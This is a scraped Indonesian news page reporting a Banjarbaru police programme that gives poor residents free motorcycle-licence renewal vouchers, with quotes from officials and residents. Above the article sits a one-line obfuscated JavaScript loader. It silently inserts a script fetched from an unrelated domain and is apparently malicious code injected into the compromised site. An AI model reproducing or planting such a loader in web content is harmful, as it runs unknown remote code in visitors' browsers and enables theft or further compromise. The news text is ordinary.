(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Satuan Lalu Lintas Polres Banjarbaru meluncurkan program pemberian voucher pembayaran perpanjangan SIM C bagi warga tidak mampu. Dilaksanakan setiap dua minggu sekali tepatnya pada hari Jumat, program ini memberikan kemudahan mengurus perpanjangan SIM dengan cepat, mudah dan tanpa dikenakan biaya apapun.
Kapolres Banjarbaru, AKBP Dody Harza Kusumah, mengatakan bahwa rogram Inovasi dari Satlantas Polres Banjarbaru ini telah dimulai sejak 26 Agustus dan dilaksanakan secara berkelanjutan. Adapun dilaksanakannya program ini bertujuan untuk memudahkan dan membantu masyarakat yang tidak mampu dalam melakukan proses memperpanjang SIM C, dengan proses yang mudah, cepat dan tidak mengeluarkan biaya.
“Kami terus berusaha meningkatkan pelayanan SIM agar masyarakat dari semua lapisan di Kota Banjarbaru dapat tetap melakukan perpanjangan SIM, namun tentunya dalam hal proses dan teknis pelayanan tetap mengacu pada syarat dan ketentuan yang berlaku,” katanya.
Baca juga: Organda Banjarbaru Ngotot Larang BRT Banjarbakula Operasional di Koridor 2
Dia menjelaskan, untuk biaya pembayaran perpanjangan SIM C di peroleh dari hasil kegiatan “Senin Berkah” yaitu sumbangan sukarela dari personel Polres Banjarbaru yang dilaksanakan setiap satu minggu sekali. Pelaksanaan kegiatan ini juga bekerjasama dengan Bhabinkamtibmas sebagai petugas pendata masyarakat yang tergolong tidak mampu, yang berhak mendapatkan voucher pembayaran biaya perpanjangan SIM C yang nantinya voucher tersebut digunakan untuk membayar biaya perpanjangan SIM C tersebut.
Kegiatan dilaksanakan mulai pukul 09.00 Wita sampai pukul 12.00 wita di seluruh wilayah hukum Polres Banjarbaru. Pelayanan menggunakan Bus Sim Keliling Satpas Polres Banjarbaru.
Pihaknya pun bersyukur, inovasi pemberian voucher pembayaran perpanjangan SIM C yang dilaksanakan oleh Sat Lantas Polres Banjarbaru ini dapat memberikan kesan positif kepada masyarakat guna mendukung terwujudnya pelayanan Polri yang professional, modern dan terpercaya.
Kasat Lantas Polres Banjarbaru, KP GM Angga Satrya Wibawa, menambahkan bahwa masyarakat tidak mampu mendapatkan persamaan hak dan keadilan. Menurutnya, masyarakat tidak mampu selamat masih sulit mendapatkan haknya dikarenakan ketidakmampuan dalam hal ekonomi.
Oleh karena itu seiring dengan berkembangnya kesadaran bahwa warga Negara memiliki hak untuk dilayani, dan kewajiban pemerintah untuk memberikan pelayanan. Peluang untuk mengembangkan pelayanan publik yang merata tepat sasaran perlu mendapatkan perhatian yang serius.
Sementara itu, Yunus, warga Kecamatan Cempaka, menyampaikan rasa terimakasih atas inovasi dari Sat Lantas Polres Banjarbaru. Dirinya pun merasa terbantu sebagai masyarakat terutama di Kelurahan Cempaka.
Baca juga: Pencarian Bocah Tenggelam di Desa Jaranih Dilanjutkan, Diperluas Hingga 2 Km
“Mudahan berkah dan sukses terus Polres Banjarbaru,” imbuhnya.
Demikian pula warga lainnya, Sutamin Djoko begitu salut dan terharu dengan adanya inovasi pemberian voucher gratis pembayaran SIM C dari Polres Banjarbaru ini. “Pelayanannya sangat bagus, dan mudahan ini bisa mengembalikan citra Polri lebih baik lagi,” harapnya. (Kanalkalimantan.com/al)
Reporter: al
Editor: al
KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More
This website uses cookies.